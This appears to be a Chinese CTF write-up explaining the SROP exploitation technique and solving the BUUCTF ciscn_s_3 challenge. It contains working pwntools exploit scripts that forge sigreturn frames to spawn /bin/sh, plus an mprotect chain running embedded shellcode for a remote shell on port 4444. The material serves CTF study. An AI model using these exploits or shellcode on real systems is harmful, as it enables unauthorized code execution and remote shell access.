在刷题时碰到这个考察点,有点震撼,特意记录下。
SROP简介
SROP也即Sigreturn Oriented Programming。很显然这种攻击方式与Unix系统调用Sigreturn相关。它在发生signal的时候会被间接调用。
Signal在unix下的机制(窃图),发生signal时,会在user和kernel直接切换。系统会为当前进程保存上下文。完成后会从核心态退出时,会执行sigreturn恢复上下文。
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn:
上面这段内存又称为"Signal Frame"。
SROP Attack原理
问题出现在,内核保存的上下文是在用户态控制的栈上(可以伪造的),而切换为用户态时,并没有检查这段内存是否发生改变。也就造成了可利用的可能。
攻击示意图
上面的攻击中,需要满足以下几个条件
1、 存在栈溢出
2、可以泄露栈地址,(即可以知道参数的地址)
3、需要syscall的地址
4、需要sigreturn的地址 (强制按照frame内存恢复进程状态)
相比较传统的ROP攻击,需要的gadgets更少,构造更方便。
连续攻击
只需要设置栈指针rsp的值为下一个攻击地址,同时rip的地址设置为&(syscall; ret;)即可。
实例
BUUCTF
ciscn_s_3题目
漏洞分析
这里有两个系统调用,需要在gdb调试,发现就是read和write操作。且存在栈溢出
一般ROP
泄露libc地址,利用gadgets执行execve或者system或者one_gadget。
实际操作发现,rdx的值我们无法控制。execve和system都是行不通的。但是发现一个有趣的gadget
这里,实际提供了一个mov eax, 0; ret;的gadget。为one_gadget和read的syscall都可以提供基础。
当然,也可以利用eax是作为函数的返回值的这一个特性,利用read特定的字节得到需要的eax。(注意这里的read也可以是syscall实现的,且上面的mov eax, 0 的gadget可以为我们syscall read提供条件)
可以one_gadget达到get shell的目的。
SROP和攻击。
看到这个题目很少人做出来,猜到应该不是这么简单的操作。而且程序中明确指出的gadget很奇怪
15的系统号是rt_sigreturn,3b的系统调用是execve。(我都没用到。。。)
搜索一番,看到一个师傅的骚操作。
就是我们上面提到的SROP攻击思路,泄露栈地址、并且syscall和rt_sigreturn的gadget都是有的。
学习一波,记录这种方式的exp(pwntools提供了Sigreturn Frame的构建)
payload = "/bin/sh\x00"
payload += '\x00' * 8
payload += p64(main)
p.send(payload) #write(1, stack_addr, 0x30)
#will leak an address on stack
p.recv(32)
stack_addr = u64(p.recv(8)) - 0x118 #rsi
print "stack_addr ==> " + hex(stack_addr)
p.recv(8)
#SROP Attack
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr #&'/bin/sh'
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall
payload = 'a'*0x10
payload += p64(rt_sigreturn) #强制sigreturn,改变frame
payload += p64(syscall)
payload += str(frame)
p.send(payload)
p.interactive()
p.close()
拓展利用-连续攻击生成backdoor。(return shell with reverse tcp 0.0.0.0 4444)
这里用到mprotect(start, len, prot)修改栈为RWX属性。
直接设置fake frame的rsp为shellcode的地址。
main = 0x4004F1
syscall = 0x400517 #syscall; ret
rt_sigreturn = 0x4004DA #mov eax, 0xf; ret
payload = '\x00' * 0x10
payload += p64(main)
p.send(payload) #write(1, stack_addr, 0x30)
#will leak an address on stack
p.recv(32)
stack_addr = u64(p.recv(8)) - 0x118 #rsi
print "stack_addr ==> " + hex(stack_addr)
p.recv(8)
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_mprotect
frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame1.rsi = 0x1000
frame1.rdx = 7
frame1.rsp = stack_addr + 0x120 #frame2_sigreturn
frame1.rip = syscall
shellcode = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" \
"\x5e\x48\x31\xd2\x0f\x05\x48\x97" \
"\x6a\x02\x66\xc7\x44\x24\x02\x11" \
"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" \
"\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" \
"\x58\x48\xff\xce\x0f\x05\xe0\xf6" \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62" \
"\x69\x6e\x2f\x2f\x73\x68\x57\x54" \
"\x5f\xb0\x3b\x99\x0f\x05"
payload = '\x00'*0x10 #rop_chain stack_addr+8
payload += p64(rt_sigreturn)
payload += p64(syscall) #sigreturn
payload += str(frame1)
payload += p64(stack_addr + 0x128)
payload += shellcode
在4444监听之后,运行exp就可以看到得到了返回的shell。
几个注意点
1、一个frame框架是0xf8大小(0x64)。
2、泄露的栈地址,返回再次利用时,偏移可能有些变动,建议调试确定。
3、对于连续利用的所有指针参数,利用pop_ret的方式将参数保存在栈上,从而可以确参数定地址。
利用难度。众所周知,ROP的攻击方式比较普遍,安全防护相应的也比较多。在真实的系统中,相应的gadgets比较难以获取。反观SROP,需要的gadgets少,主要在于伪造一个Frame。
代码复用性。由于ROP极大的依赖于栈结构,gadgets片段都是保存在stack上,所以在一次利用结束后,在stack发生改变的时候,很难再次利用(有时候即使返回init状态,也难以再次恢复stack状态)。而SROP则不然,每次只需要伪造对应的Frame,rt_sigreturn的调用都能够强制切换到我们需要的状态。有着极高的代码复用性。
paper
slides
Sigreturn Oriented Programming (SROP) Attack攻击原理
多说一句这种攻击方式,真心觉得强大
推荐实验:ARM漏洞利用技术四--内存布局及栈溢出